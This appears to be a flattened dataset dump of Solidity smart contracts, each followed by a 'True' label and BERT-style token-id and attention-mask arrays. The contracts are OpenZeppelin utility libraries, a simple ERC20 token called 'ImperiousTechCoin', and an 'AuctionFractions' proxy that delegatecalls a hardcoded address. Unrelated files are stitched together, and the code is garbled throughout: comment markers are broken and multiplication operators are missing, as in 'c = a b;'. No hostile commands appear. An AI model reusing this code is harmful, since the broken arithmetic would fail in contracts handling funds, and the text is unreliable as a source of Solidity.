functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 6105, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 29464, 11890, 2581, 17465, 2890, 3401, 16402, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 29025, 19150, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 12264, 3597, 2378, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 9266, 2480, 24072, 2015, 1012, 14017, 1000, 1025, 3206, 9266, 2480, 24072, 15782, 11493, 2080, 2003, 2219, 3085, 1010, 29464, 11890, 2581, 17465, 2890, 3401, 16402, 1010, 29025, 19150, 1010, 2128, 4765, 5521, 5666, 18405, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 12521, 2620, 1025, 1013, 1013, 2358, 6820, 6593, 2000, 3573, 1037, 8406, 1005, 1055, 19204, 1010, 3954, 1010, 1998, 7414, 5300, 2358, 6820, 6593, 8406, 1063, 21318, 3372, 16048, 19204, 3593, 1025, 21318, 3372, 2581, 2475, 3679, 11657, 1025, 21318, 3372, 12740, 3643, 1025, 4769, 3954, 1025, 1065, 2724, 18503, 5833, 9006, 2063, 1006, 4769, 4604, 2121, 1010, 21318, 3372, 12521, 2620, 2180, 22591, 16671, 1007, 1025, 1013, 1013, 4431, 2000, 1996, 9266, 2480, 24072, 2015, 1050, 6199, 3206, 9266, 2480, 24072, 2015, 9266, 2480, 24072, 2015, 2078, 6199, 1025, 1013, 1013, 4431, 2000, 1996, 1002, 12264, 3206, 2005, 12927, 2075, 1002, 12264, 16565, 12264, 3597, 2378, 12264, 1025, 1013, 1013, 7341, 19204, 3593, 2000, 8406, 12375, 1006, 21318, 3372, 16048, 1027, 1028, 8406, 1007, 2270, 9270, 6633, 24759, 6977, 10285, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 16048, 1031, 1033, 1007, 2270, 6095, 2863, 14853, 1025, 1013, 1013, 2169, 12264, 7796, 2015, 1014, 1002, 12264, 2566, 2154, 21318, 3372, 17788, 2575, 2270, 3679, 1035, 12264, 1035, 3446, 1027, 1014, 28855, 1025, 1013, 1013, 2045, 2097, 2069, 2412, 2022, 1006, 5560, 1007, 1020, 4551, 1002, 12264, 3687, 2083, 2358, 15495, 21318, 3372, 17788, 2575, 2270, 4555, 1035, 3795, 1035, 12264, 1027, 25961, 8889, 8889, 8889, 28855, 1025, 1013, 1013, 3815, 1997, 1002, 12264, 3687, 2061, 2521, 21318, 3372, 17788, 2575, 2270, 2561, 24072, 17310, 21119, 1025, 1013, 1013, 1996, 2197, 2051, 1002, 12264, 2001, 3555, 21318, 3372, 17788, 2575, 2270, 2197, 25154, 7292, 9153, 8737, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 15166, 2094, 1025, 12375, 1006, 5164, 1027, 1028, 27507, 16703, 1007, 2270, 7117, 14949, 15689, 1025, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /* * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /* * @dev Total number of tokens in existence / function totalSupply() public view returns (uint256) { return totalSupply_; } /* * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /* * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. / function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /* * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ImperiousTechCoin is StandardToken { string public name = "Imperious Technology"; string public symbol = "IMPS"; uint8 public decimals = 2; uint public INITIAL_SUPPLY = 45000000; constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 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// SPDX-License-Identifier: GPL-3.0-only // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom(address from, address to, uint256 tokenId) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom(address from, address to, uint256 tokenId) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/utils/ReentrancyGuard.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: contracts/v1.5/AuctionFractions.sol pragma solidity ^0.6.0; contract AuctionFractions { fallback () external payable { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), 0x8fCD445E86ecF0C79355C5dF257A4E5A32C73AfE, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity >=0.6.0 <0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } 